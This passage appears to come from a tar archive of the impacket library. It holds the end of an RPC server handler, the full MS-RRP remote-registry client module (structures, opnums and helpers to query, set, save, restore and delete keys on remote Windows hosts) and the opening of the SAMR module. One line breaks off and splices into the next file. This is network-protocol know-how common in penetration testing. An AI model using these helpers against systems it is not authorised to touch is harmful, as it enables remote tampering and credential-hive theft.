# Fail the bind request for this context
reason = 2 # Transfer Syntax not supported
if reason == 0:
result = MSRPC_CONT_RESULT_ACCEPT
if reason == 1:
LOG.error('Bind request for an unsupported interface %s' % bin_to_uuidtup(item['AbstractSyntax']))
resp['ctx_num'] += 1
itemResult = CtxItemResult()
itemResult['Result'] = result
itemResult['Reason'] = reason
itemResult['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
ctx_items += str(itemResult)
resp['Pad'] ='A'*((4-((resp["SecondaryAddrLen"]+MSRPCBindAck._SIZE) % 4))%4)
resp['ctx_items'] = ctx_items
resp['frag_len'] = len(str(resp))
self._clientSock.send(str(resp))
return None
def processRequest(self,data):
packet = MSRPCHeader(data)
if packet['type'] == MSRPC_BIND:
bind = MSRPCBind(packet['pduData'])
self.bind(packet, bind)
packet = None
elif packet['type'] == MSRPC_REQUEST:
request = MSRPCRequestHeader(data)
response = MSRPCRespHeader(data)
response['type'] = MSRPC_RESPONSE
# Serve the opnum requested, if not, fails
if self._listenUUIDS[self._boundUUID]['CallBacks'].has_key(request['op_num']):
# Call the function
returnData = self._listenUUIDS[self._boundUUID]['CallBacks'][request['op_num']](request['pduData'])
response['pduData'] = returnData
else:
LOG.error('Unsupported DCERPC opnum %d called for interface %s' % (request['op_num'], bin_to_uuidtup(self._boundUUID)))
response['type'] = MSRPC_FAULT
response['pduData'] = pack('.
# There are test cases for them too.
#
from struct import unpack, pack
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, UUID, ULONG, LPULONG, BOOLEAN, SECURITY_INFORMATION, PFILETIME, \
RPC_UNICODE_STRING, FILETIME, NULL, MAXIMUM_ALLOWED, OWNER_SECURITY_INFORMATION, PWCHAR, PRPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket import system_errors
from impacket.uuid import uuidtup_to_bin
MSRPC_UUID_RRP = uuidtup_to_bin(('338CD001-2244-31F1-AAAA-900038001003', '1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if system_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'RRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'RRP SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.2 PREGISTRY_SERVER_NAME
PREGISTRY_SERVER_NAME = PWCHAR
# 2.2.3 error_status_t
error_status_t = ULONG
# 2.2.5 RRP_UNICODE_STRING
RRP_UNICODE_STRING = RPC_UNICODE_STRING
PRRP_UNICODE_STRING = PRPC_UNICODE_STRING
# 2.2.4 REGSAM
REGSAM = ULONG
KEY_QUERY_VALUE = 0x00000001
KEY_SET_VALUE = 0x00000002
KEY_CREATE_SUB_KEY = 0x00000004
KEY_ENUMERATE_SUB_KEYS = 0x00000008
KEY_CREATE_LINK = 0x00000020
KEY_WOW64_64KEY = 0x00000100
KEY_WOW64_32KEY = 0x00000200
REG_BINARY = 3
REG_DWORD = 4
REG_DWORD_LITTLE_ENDIAN = 4
REG_DWORD_BIG_ENDIAN = 5
REG_EXPAND_SZ = 2
REG_LINK = 6
REG_MULTI_SZ = 7
REG_NONE = 0
REG_QWORD = 11
REG_QWORD_LITTLE_ENDIAN = 11
REG_SZ = 1
# 3.1.5.7 BaseRegCreateKey (Opnum 6)
REG_CREATED_NEW_KEY = 0x00000001
REG_OPENED_EXISTING_KEY = 0x00000002
# 3.1.5.19 BaseRegRestoreKey (Opnum 19)
# Flags
REG_WHOLE_HIVE_VOLATILE = 0x00000001
REG_REFRESH_HIVE = 0x00000002
REG_NO_LAZY_FLUSH = 0x00000004
REG_FORCE_RESTORE = 0x00000008
################################################################################
# STRUCTURES
################################################################################
# 2.2.1 RPC_HKEY
class RPC_HKEY(NDRSTRUCT):
structure = (
('context_handle_attributes',ULONG),
('context_handle_uuid',UUID),
)
def __init__(self, data = None,isNDR64 = False):
NDRSTRUCT.__init__(self, data, isNDR64)
self['context_handle_uuid'] = '\x00'*20
# 2.2.6 RVALENT
class RVALENT(NDRSTRUCT):
structure = (
('ve_valuename',PRRP_UNICODE_STRING),
('ve_valuelen',DWORD),
('ve_valueptr',DWORD),
('ve_type',DWORD),
)
class RVALENT_ARRAY(NDRUniConformantVaryingArray):
item = RVALENT
# 2.2.9 RPC_SECURITY_DESCRIPTOR
class BYTE_ARRAY(NDRUniConformantVaryingArray):
pass
class PBYTE_ARRAY(NDRPOINTER):
referent = (
('Data', BYTE_ARRAY),
)
class RPC_SECURITY_DESCRIPTOR(NDRSTRUCT):
structure = (
('lpSecurityDescriptor',PBYTE_ARRAY),
('cbInSecurityDescriptor',DWORD),
('cbOutSecurityDescriptor',DWORD),
)
# 2.2.8 RPC_SECURITY_ATTRIBUTES
class RPC_SECURITY_ATTRIBUTES(NDRSTRUCT):
structure = (
('nLength',DWORD),
('RpcSecurityDescriptor',RPC_SECURITY_DESCRIPTOR),
('bInheritHandle',BOOLEAN),
)
class PRPC_SECURITY_ATTRIBUTES(NDRPOINTER):
referent = (
('Data', RPC_SECURITY_ATTRIBUTES),
)
################################################################################
# RPC CALLS
################################################################################
# 3.1.5.1 OpenClassesRoot (Opnum 0)
class OpenClassesRoot(NDRCALL):
opnum = 0
structure = (
('ServerName', PREGISTRY_SERVER_NAME),
('samDesired', REGSAM),
)
class OpenClassesRootResponse(NDRCALL):
structure = (
('phKey', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.2 OpenCurrentUser (Opnum 1)
class OpenCurrentUser(NDRCALL):
opnum = 1
structure = (
('ServerName', PREGISTRY_SERVER_NAME),
('samDesired', REGSAM),
)
class OpenCurrentUserResponse(NDRCALL):
structure = (
('phKey', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.3 OpenLocalMachine (Opnum 2)
class OpenLocalMachine(NDRCALL):
opnum = 2
structure = (
('ServerName', PREGISTRY_SERVER_NAME),
('samDesired', REGSAM),
)
class OpenLocalMachineResponse(NDRCALL):
structure = (
('phKey', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.4 OpenPerformanceData (Opnum 3)
class OpenPerformanceData(NDRCALL):
opnum = 3
structure = (
('ServerName', PREGISTRY_SERVER_NAME),
('samDesired', REGSAM),
)
class OpenPerformanceDataResponse(NDRCALL):
structure = (
('phKey', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.5 OpenUsers (Opnum 4)
class OpenUsers(NDRCALL):
opnum = 4
structure = (
('ServerName', PREGISTRY_SERVER_NAME),
('samDesired', REGSAM),
)
class OpenUsersResponse(NDRCALL):
structure = (
('phKey', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.6 BaseRegCloseKey (Opnum 5)
class BaseRegCloseKey(NDRCALL):
opnum = 5
structure = (
('hKey', RPC_HKEY),
)
class BaseRegCloseKeyResponse(NDRCALL):
structure = (
('hKey', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.7 BaseRegCreateKey (Opnum 6)
class BaseRegCreateKey(NDRCALL):
opnum = 6
structure = (
('hKey', RPC_HKEY),
('lpSubKey', RRP_UNICODE_STRING),
('lpClass', RRP_UNICODE_STRING),
('dwOptions', DWORD),
('samDesired', REGSAM),
('lpSecurityAttributes', PRPC_SECURITY_ATTRIBUTES),
('lpdwDisposition', LPULONG),
)
class BaseRegCreateKeyResponse(NDRCALL):
structure = (
('phkResult', RPC_HKEY),
('lpdwDisposition', LPULONG),
('ErrorCode', error_status_t),
)
# 3.1.5.8 BaseRegDeleteKey (Opnum 7)
class BaseRegDeleteKey(NDRCALL):
opnum = 7
structure = (
('hKey', RPC_HKEY),
('lpSubKey', RRP_UNICODE_STRING),
)
class BaseRegDeleteKeyResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.9 BaseRegDeleteValue (Opnum 8)
class BaseRegDeleteValue(NDRCALL):
opnum = 8
structure = (
('hKey', RPC_HKEY),
('lpValueName', RRP_UNICODE_STRING),
)
class BaseRegDeleteValueResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.10 BaseRegEnumKey (Opnum 9)
class BaseRegEnumKey(NDRCALL):
opnum = 9
structure = (
('hKey', RPC_HKEY),
('dwIndex', DWORD),
('lpNameIn', RRP_UNICODE_STRING),
('lpClassIn', PRRP_UNICODE_STRING),
('lpftLastWriteTime', PFILETIME),
)
class BaseRegEnumKeyResponse(NDRCALL):
structure = (
('lpNameOut', RRP_UNICODE_STRING),
('lplpClassOut', PRRP_UNICODE_STRING),
('lpftLastWriteTime', PFILETIME),
('ErrorCode', error_status_t),
)
# 3.1.5.11 BaseRegEnumValue (Opnum 10)
class BaseRegEnumValue(NDRCALL):
opnum = 10
structure = (
('hKey', RPC_HKEY),
('dwIndex', DWORD),
('lpValueNameIn', RRP_UNICODE_STRING),
('lpType', LPULONG),
('lpData', PBYTE_ARRAY),
('lpcbData', LPULONG),
('lpcbLen', LPULONG),
)
class BaseRegEnumValueResponse(NDRCALL):
structure = (
('lpValueNameOut', RRP_UNICODE_STRING),
('lpType', LPULONG),
('lpData', PBYTE_ARRAY),
('lpcbData', LPULONG),
('lpcbLen', LPULONG),
('ErrorCode', error_status_t),
)
# 3.1.5.12 BaseRegFlushKey (Opnum 11)
class BaseRegFlushKey(NDRCALL):
opnum = 11
structure = (
('hKey', RPC_HKEY),
)
class BaseRegFlushKeyResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.13 BaseRegGetKeySecurity (Opnum 12)
class BaseRegGetKeySecurity(NDRCALL):
opnum = 12
structure = (
('hKey', RPC_HKEY),
('SecurityInformation', SECURITY_INFORMATION),
('pRpcSecurityDescriptorIn', RPC_SECURITY_DESCRIPTOR),
)
class BaseRegGetKeySecurityResponse(NDRCALL):
structure = (
('pRpcSecurityDescriptorOut', RPC_SECURITY_DESCRIPTOR),
('ErrorCode', error_status_t),
)
# 3.1.5.14 BaseRegLoadKey (Opnum 13)
class BaseRegLoadKey(NDRCALL):
opnum = 13
structure = (
('hKey', RPC_HKEY),
('lpSubKey', RRP_UNICODE_STRING),
('lpFile', RRP_UNICODE_STRING),
)
class BaseRegLoadKeyResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.15 BaseRegOpenKey (Opnum 15)
class BaseRegOpenKey(NDRCALL):
opnum = 15
structure = (
('hKey', RPC_HKEY),
('lpSubKey', RRP_UNICODE_STRING),
('dwOptions', DWORD),
('samDesired', REGSAM),
)
class BaseRegOpenKeyResponse(NDRCALL):
structure = (
('phkResult', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.16 BaseRegQueryInfoKey (Opnum 16)
class BaseRegQueryInfoKey(NDRCALL):
opnum = 16
structure = (
('hKey', RPC_HKEY),
('lpClassIn', RRP_UNICODE_STRING),
)
class BaseRegQueryInfoKeyResponse(NDRCALL):
structure = (
('lpClassOut', RPC_UNICODE_STRING),
('lpcSubKeys', DWORD),
('lpcbMaxSubKeyLen', DWORD),
('lpcbMaxClassLen', DWORD),
('lpcValues', DWORD),
('lpcbMaxValueNameLen', DWORD),
('lpcbMaxValueLen', DWORD),
('lpcbSecurityDescriptor', DWORD),
('lpftLastWriteTime', FILETIME),
('ErrorCode', error_status_t),
)
# 3.1.5.17 BaseRegQueryValue (Opnum 17)
class BaseRegQueryValue(NDRCALL):
opnum = 17
structure = (
('hKey', RPC_HKEY),
('lpValueName', RRP_UNICODE_STRING),
('lpType', LPULONG),
('lpData', PBYTE_ARRAY),
('lpcbData', LPULONG),
('lpcbLen', LPULONG),
)
class BaseRegQueryValueResponse(NDRCALL):
structure = (
('lpType', LPULONG),
('lpData', PBYTE_ARRAY),
('lpcbData', LPULONG),
('lpcbLen', LPULONG),
('ErrorCode', error_status_t),
)
# 3.1.5.18 BaseRegReplaceKey (Opnum 18)
class BaseRegReplaceKey(NDRCALL):
opnum = 18
structure = (
('hKey', RPC_HKEY),
('lpSubKey', RRP_UNICODE_STRING),
('lpNewFile', RRP_UNICODE_STRING),
('lpOldFile', RRP_UNICODE_STRING),
)
class BaseRegReplaceKeyResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.19 BaseRegRestoreKey (Opnum 19)
class BaseRegRestoreKey(NDRCALL):
opnum = 19
structure = (
('hKey', RPC_HKEY),
('lpFile', RRP_UNICODE_STRING),
('Flags', DWORD),
)
class BaseRegRestoreKeyResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.20 BaseRegSaveKey (Opnum 20)
class BaseRegSaveKey(NDRCALL):
opnum = 20
structure = (
('hKey', RPC_HKEY),
('lpFile', RRP_UNICODE_STRING),
('pSecurityAttributes', PRPC_SECURITY_ATTRIBUTES),
)
class BaseRegSaveKeyResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.21 BaseRegSetKeySecurity (Opnum 21)
class BaseRegSetKeySecurity(NDRCALL):
opnum = 21
structure = (
('hKey', RPC_HKEY),
('SecurityInformation', SECURITY_INFORMATION),
('pRpcSecurityDescriptor', RPC_SECURITY_DESCRIPTOR),
)
class BaseRegSetKeySecurityResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.22 BaseRegSetValue (Opnum 22)
class BaseRegSetValue(NDRCALL):
opnum = 22
structure = (
('hKey', RPC_HKEY),
('lpValueName', RRP_UNICODE_STRING),
('dwType', DWORD),
('lpData', NDRUniConformantArray),
('cbData', DWORD),
)
class BaseRegSetValueResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.23 BaseRegUnLoadKey (Opnum 23)
class BaseRegUnLoadKey(NDRCALL):
opnum = 23
structure = (
('hKey', RPC_HKEY),
('lpSubKey', RRP_UNICODE_STRING),
)
class BaseRegUnLoadKeyResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.24 BaseRegGetVersion (Opnum 26)
class BaseRegGetVersion(NDRCALL):
opnum = 26
structure = (
('hKey', RPC_HKEY),
)
class BaseRegGetVersionResponse(NDRCALL):
structure = (
('lpdwVersion', DWORD),
('ErrorCode', error_status_t),
)
# 3.1.5.25 OpenCurrentConfig (Opnum 27)
class OpenCurrentConfig(NDRCALL):
opnum = 27
structure = (
('ServerName', PREGISTRY_SERVER_NAME),
('samDesired', REGSAM),
)
class OpenCurrentConfigResponse(NDRCALL):
structure = (
('phKey', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.26 BaseRegQueryMultipleValues (Opnum 29)
class BaseRegQueryMultipleValues(NDRCALL):
opnum = 29
structure = (
('hKey', RPC_HKEY),
('val_listIn', RVALENT_ARRAY),
('num_vals', DWORD),
('lpvalueBuf', PBYTE_ARRAY),
('ldwTotsize', DWORD),
)
class BaseRegQueryMultipleValuesResponse(NDRCALL):
structure = (
('val_listOut', RVALENT_ARRAY),
('lpvalueBuf', PBYTE_ARRAY),
('ldwTotsize', DWORD),
('ErrorCode', error_status_t),
)
# 3.1.5.27 BaseRegSaveKeyEx (Opnum 31)
class BaseRegSaveKeyEx(NDRCALL):
opnum = 31
structure = (
('hKey', RPC_HKEY),
('lpFile', RRP_UNICODE_STRING),
('pSecurityAttributes', PRPC_SECURITY_ATTRIBUTES),
('Flags', DWORD),
)
class BaseRegSaveKeyExResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.5.28 OpenPerformanceText (Opnum 32)
class OpenPerformanceText(NDRCALL):
opnum = 32
structure = (
('ServerName', PREGISTRY_SERVER_NAME),
('samDesired', REGSAM),
)
class OpenPerformanceTextResponse(NDRCALL):
structure = (
('phKey', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.29 OpenPerformanceNlsText (Opnum 33)
class OpenPerformanceNlsText(NDRCALL):
opnum = 33
structure = (
('ServerName', PREGISTRY_SERVER_NAME),
('samDesired', REGSAM),
)
class OpenPerformanceNlsTextResponse(NDRCALL):
structure = (
('phKey', RPC_HKEY),
('ErrorCode', error_status_t),
)
# 3.1.5.30 BaseRegQueryMultipleValues2 (Opnum 34)
class BaseRegQueryMultipleValues2(NDRCALL):
opnum = 34
structure = (
('hKey', RPC_HKEY),
('val_listIn', RVALENT_ARRAY),
('num_vals', DWORD),
('lpvalueBuf', PBYTE_ARRAY),
('ldwTotsize', DWORD),
)
class BaseRegQueryMultipleValues2Response(NDRCALL):
structure = (
('val_listOut', RVALENT_ARRAY),
('lpvalueBuf', PBYTE_ARRAY),
('ldwRequiredSize', DWORD),
('ErrorCode', error_status_t),
)
# 3.1.5.31 BaseRegDeleteKeyEx (Opnum 35)
class BaseRegDeleteKeyEx(NDRCALL):
opnum = 35
structure = (
('hKey', RPC_HKEY),
('lpSubKey', RRP_UNICODE_STRING),
('AccessMask', REGSAM),
('Reserved', DWORD),
)
class BaseRegDeleteKeyExResponse(NDRCALL):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (OpenClassesRoot, OpenClassesRootResponse),
1 : (OpenCurrentUser, OpenCurrentUserResponse),
2 : (OpenLocalMachine, OpenLocalMachineResponse),
3 : (OpenPerformanceData, OpenPerformanceDataResponse),
4 : (OpenUsers, OpenUsersResponse),
5 : (BaseRegCloseKey, BaseRegCloseKeyResponse),
6 : (BaseRegCreateKey, BaseRegCreateKeyResponse),
7 : (BaseRegDeleteKey, BaseRegDeleteKeyResponse),
8 : (BaseRegDeleteValue, BaseRegDeleteValueResponse),
9 : (BaseRegEnumKey, BaseRegEnumKeyResponse),
10 : (BaseRegEnumValue, BaseRegEnumValueResponse),
11 : (BaseRegFlushKey, BaseRegFlushKeyResponse),
12 : (BaseRegGetKeySecurity, BaseRegGetKeySecurityResponse),
13 : (BaseRegLoadKey, BaseRegLoadKeyResponse),
15 : (BaseRegOpenKey, BaseRegOpenKeyResponse),
16 : (BaseRegQueryInfoKey, BaseRegQueryInfoKeyResponse),
17 : (BaseRegQueryValue, BaseRegQueryValueResponse),
18 : (BaseRegReplaceKey, BaseRegReplaceKeyResponse),
19 : (BaseRegRestoreKey, BaseRegRestoreKeyResponse),
20 : (BaseRegSaveKey, BaseRegSaveKeyResponse),
21 : (BaseRegSetKeySecurity, BaseRegSetKeySecurityResponse),
22 : (BaseRegSetValue, BaseRegSetValueResponse),
23 : (BaseRegUnLoadKey, BaseRegUnLoadKeyResponse),
26 : (BaseRegGetVersion, BaseRegGetVersionResponse),
27 : (OpenCurrentConfig, OpenCurrentConfigResponse),
29 : (BaseRegQueryMultipleValues, BaseRegQueryMultipleValuesResponse),
31 : (BaseRegSaveKeyEx, BaseRegSaveKeyExResponse),
32 : (OpenPerformanceText, OpenPerformanceTextResponse),
33 : (OpenPerformanceNlsText, OpenPerformanceNlsTextResponse),
34 : (BaseRegQueryMultipleValues2, BaseRegQueryMultipleValues2Response),
35 : (BaseRegDeleteKeyEx, BaseRegDeleteKeyExResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
def packValue(valueType, value):
if valueType == REG_DWORD:
retData = pack('L', value)
elif valueType == REG_EXPAND_SZ:
try:
retData = value.encode('utf-16le')
except UnicodeDecodeError:
import sys
retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
elif valueType == REG_MULTI_SZ:
try:
retData = value.encode('utf-16le')
except UnicodeDecodeError:
import sys
retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
elif valueType == REG_QWORD:
retData = pack('Q', value)
elif valueType == REG_SZ:
try:
retData = value.encode('utf-16le')
except UnicodeDecodeError:
import sys
retData = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
else:
retData = value
return retData
def unpackValue(valueType, value):
if valueType == REG_DWORD:
retData = unpack('L', ''.join(value))[0]
elif valueType == REG_EXPAND_SZ:
retData = ''.join(value).decode('utf-16le')
elif valueType == REG_MULTI_SZ:
retData = ''.join(value).decode('utf-16le')
elif valueType == REG_QWORD:
retData = unpack('Q', ''.join(value))[0]
elif valueType == REG_SZ:
retData = ''.join(value).decode('utf-16le')
else:
retData = ''.join(value)
return retData
def hOpenClassesRoot(dce, samDesired = MAXIMUM_ALLOWED):
request = OpenClassesRoot()
request['ServerName'] = NULL
request['samDesired'] = samDesired
return dce.request(request)
def hOpenCurrentUser(dce, samDesired = MAXIMUM_ALLOWED):
request = OpenCurrentUser()
request['ServerName'] = NULL
request['samDesired'] = samDesired
return dce.request(request)
def hOpenLocalMachine(dce, samDesired = MAXIMUM_ALLOWED):
request = OpenLocalMachine()
request['ServerName'] = NULL
request['samDesired'] = samDesired
return dce.request(request)
def hOpenPerformanceData(dce, samDesired = MAXIMUM_ALLOWED):
request = OpenPerformanceData()
request['ServerName'] = NULL
request['samDesired'] = samDesired
return dce.request(request)
def hOpenUsers(dce, samDesired = MAXIMUM_ALLOWED):
request = OpenUsers()
request['ServerName'] = NULL
request['samDesired'] = samDesired
return dce.request(request)
def hBaseRegCloseKey(dce, hKey):
request = BaseRegCloseKey()
request['hKey'] = hKey
return dce.request(request)
def hBaseRegCreateKey(dce, hKey, lpSubKey, lpClass = NULL, dwOptions = 0x00000001, samDesired = MAXIMUM_ALLOWED, lpSecurityAttributes = NULL, lpdwDisposition = REG_CREATED_NEW_KEY):
request = BaseRegCreateKey()
request['hKey'] = hKey
request['lpSubKey'] = checkNullString(lpSubKey)
request['lpClass'] = checkNullString(lpClass)
request['dwOptions'] = dwOptions
request['samDesired'] = samDesired
if lpSecurityAttributes == NULL:
request['lpSecurityAttributes']['RpcSecurityDescriptor']['lpSecurityDescriptor'] = NULL
else:
request['lpSecurityAttributes'] = lpSecurityAttributes
request['lpdwDisposition'] = lpdwDisposition
return dce.request(request)
def hBaseRegDeleteKey(dce, hKey, lpSubKey):
request = BaseRegDeleteKey()
request['hKey'] = hKey
request['lpSubKey'] = checkNullString(lpSubKey)
return dce.request(request)
def hBaseRegEnumKey(dce, hKey, dwIndex, lpftLastWriteTime = NULL):
request = BaseRegEnumKey()
request['hKey'] = hKey
request['dwIndex'] = dwIndex
request.fields['lpNameIn'].fields['MaximumLength'] = 1024
request.fields['lpNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = 1024/2
request['lpClassIn'] = ' '* 64
request['lpftLastWriteTime'] = lpftLastWriteTime
return dce.request(request)
def hBaseRegEnumValue(dce, hKey, dwIndex, dataLen=128):
request = BaseRegEnumValue()
request['hKey'] = hKey
request['dwIndex'] = dwIndex
# We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception
while True:
try:
request['lpValueNameIn'] = ' ' * dataLen
request['lpData'] = ' ' * dataLen
request['lpcbData'] = dataLen
request['lpcbLen'] = dataLen
resp = dce.request(request)
except DCERPCSessionError, e:
if e.get_error_code() == system_errors.ERROR_MORE_DATA:
# We need to adjust the size
dataLen = e.get_packet()['lpcbData']
continue
else:
raise
else:
break
return resp
def hBaseRegFlushKey(dce, hKey):
request = BaseRegFlushKey()
request['hKey'] = hKey
return dce.request(request)
def hBaseRegGetKeySecurity(dce, hKey, securityInformation = OWNER_SECURITY_INFORMATION ):
request = BaseRegGetKeySecurity()
request['hKey'] = hKey
request['SecurityInformation'] = securityInformation
request['pRpcSecurityDescriptorIn']['lpSecurityDescriptor'] = NULL
request['pRpcSecurityDescriptorIn']['cbInSecurityDescriptor'] = 1024
return dce.request(request)
def hBaseRegLoadKey(dce, hKey, lpSubKey, lpFile):
request = BaseRegLoadKey()
request['hKey'] = hKey
request['lpSubKey'] = checkNullString(lpSubKey)
request['lpFile'] = checkNullString(lpFile)
return dce.request(request)
def hBaseRegUnLoadKey(dce, hKey, lpSubKey):
request = BaseRegUnLoadKey()
request['hKey'] = hKey
request['lpSubKey'] = checkNullString(lpSubKey)
return dce.request(request)
def hBaseRegOpenKey(dce, hKey, lpSubKey, dwOptions=0x00000001, samDesired = MAXIMUM_ALLOWED):
request = BaseRegOpenKey()
request['hKey'] = hKey
request['lpSubKey'] = checkNullString(lpSubKey)
request['dwOptions'] = dwOptions
request['samDesired'] = samDesired
return dce.request(request)
def hBaseRegQueryInfoKey(dce, hKey):
request = BaseRegQueryInfoKey()
request['hKey'] = hKey
# Not the cleanest way, but oh well
# Plus, Windows XP needs MaximumCount also set
request.fields['lpClassIn'].fields['MaximumLength'] = 1024
request.fields['lpClassIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = 1024/2
return dce.request(request)
def hBaseRegQueryValue(dce, hKey, lpValueName, dataLen=512):
request = BaseRegQueryValue()
request['hKey'] = hKey
request['lpValueName'] = checkNullString(lpValueName)
# We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception
while True:
try:
request['lpData'] = ' ' * dataLen
request['lpcbData'] = dataLen
request['lpcbLen'] = dataLen
resp = dce.request(request)
except DCERPCSessionError, e:
if e.get_error_code() == system_errors.ERROR_MORE_DATA:
# We need to adjust the size
dataLen = e.get_packet()['lpcbData']
continue
else:
raise
else:
break
# Returns
# ( dataType, data )
return resp['lpType'], unpackValue(resp['lpType'], resp['lpData'])
def hBaseRegReplaceKey(dce, hKey, lpSubKey, lpNewFile, lpOldFile):
request = BaseRegReplaceKey()
request['hKey'] = hKey
request['lpSubKey'] = checkNullString(lpSubKey)
request['lpNewFile'] = checkNullString(lpNewFile)
request['lpOldFile'] = checkNullString(lpOldFile)
return dce.request(request)
def hBaseRegRestoreKey(dce, hKey, lpFile, flags=REG_REFRESH_HIVE):
request = BaseRegRestoreKey()
request['hKey'] = hKey
request['lpFile'] = checkNullString(lpFile)
request['Flags'] = flags
return dce.request(request)
def hBaseRegSaveKey(dce, hKey, lpFile, pSecurityAttributes = NULL):
request = BaseRegSaveKey()
request['hKey'] = hKey
request['lpFile'] = checkNullString(lpFile)
request['pSecurityAttributes'] = pSecurityAttributes
return dce.request(request)
def hBaseRegSetValue(dce, hKey, lpValueName, dwType, lpData):
request = BaseRegSetValue()
request['hKey'] = hKey
request['lpValueName'] = checkNullString(lpValueName)
request['dwType'] = dwType
request['lpData'] = packValue(dwType,lpData)
request['cbData'] = len(request['lpData'])
return dce.request(request)
def hBaseRegGetVersion(dce, hKey):
request = BaseRegGetVersion()
request['hKey'] = hKey
return dce.request(request)
def hOpenCurrentConfig(dce, samDesired = MAXIMUM_ALLOWED):
request = OpenCurrentConfig()
request['ServerName'] = NULL
request['samDesired'] = samDesired
return dce.request(request)
def hBaseRegQueryMultipleValues(dce, hKey, val_listIn):
# ToDo, check the result to see whether we need to
# have a bigger buffer for the data to receive
request = BaseRegQueryMultipleValues()
request['hKey'] = hKey
for item in val_listIn:
itemn = RVALENT()
itemn['ve_valuename'] = checkNullString(item['ValueName'])
itemn['ve_valuelen'] = len(itemn['ve_valuename'])
itemn['ve_valueptr'] = NULL
itemn['ve_type'] = item['ValueType']
request['val_listIn'].append(itemn)
request['num_vals'] = len(request['val_listIn'])
request['lpvalueBuf'] = list(' '*128)
request['ldwTotsize'] = 128
resp = dce.request(request)
retVal = list()
for item in resp['val_listOut']:
itemn = dict()
itemn['ValueName'] = item['ve_valuename']
itemn['ValueData'] = unpackValue(item['ve_type'], resp['lpvalueBuf'][item['ve_valueptr'] : item['ve_valueptr']+item['ve_valuelen']])
retVal.append(itemn)
return retVal
def hBaseRegSaveKeyEx(dce, hKey, lpFile, pSecurityAttributes = NULL, flags=1):
request = BaseRegSaveKeyEx()
request['hKey'] = hKey
request['lpFile'] = checkNullString(lpFile)
request['pSecurityAttributes'] = pSecurityAttributes
request['Flags'] = flags
return dce.request(request)
def hOpenPerformanceText(dce, samDesired = MAXIMUM_ALLOWED):
request = OpenPerformanceText()
request['ServerName'] = NULL
request['samDesired'] = samDesired
return dce.request(request)
def hOpenPerformanceNlsText(dce, samDesired = MAXIMUM_ALLOWED):
request = OpenPerformanceNlsText()
request['ServerName'] = NULL
request['samDesired'] = samDesired
return dce.request(request)
def hBaseRegDeleteValue(dce, hKey, lpValueName):
request = BaseRegDeleteValue()
request['hKey'] = hKey
request['lpValueName'] = checkNullString(lpValueName)
return dce.request(request)
impacket-0.9.15/impacket/dcerpc/v5/samr.py 0000600 0000765 0000000 00000270622 12734531507 020365 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-SAMR] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h".
# There are test cases for them too.
#
from binascii import unhexlify
from impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray, \
NDRUniConformantVaryingArray, NDRENUM
from impacket.dcerpc.v5.dtypes import NULL, RPC_UNICODE_STRING, ULONG, USHORT, UCHAR, LARGE_INTEGER, RPC_SID, LONG, STR, \
LPBYTE, SECURITY_INFORMATION, PRPC_SID, PRPC_UNICODE_STRING, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket import nt_errors, LOG
from impacket.uuid import uuidtup_to_bin
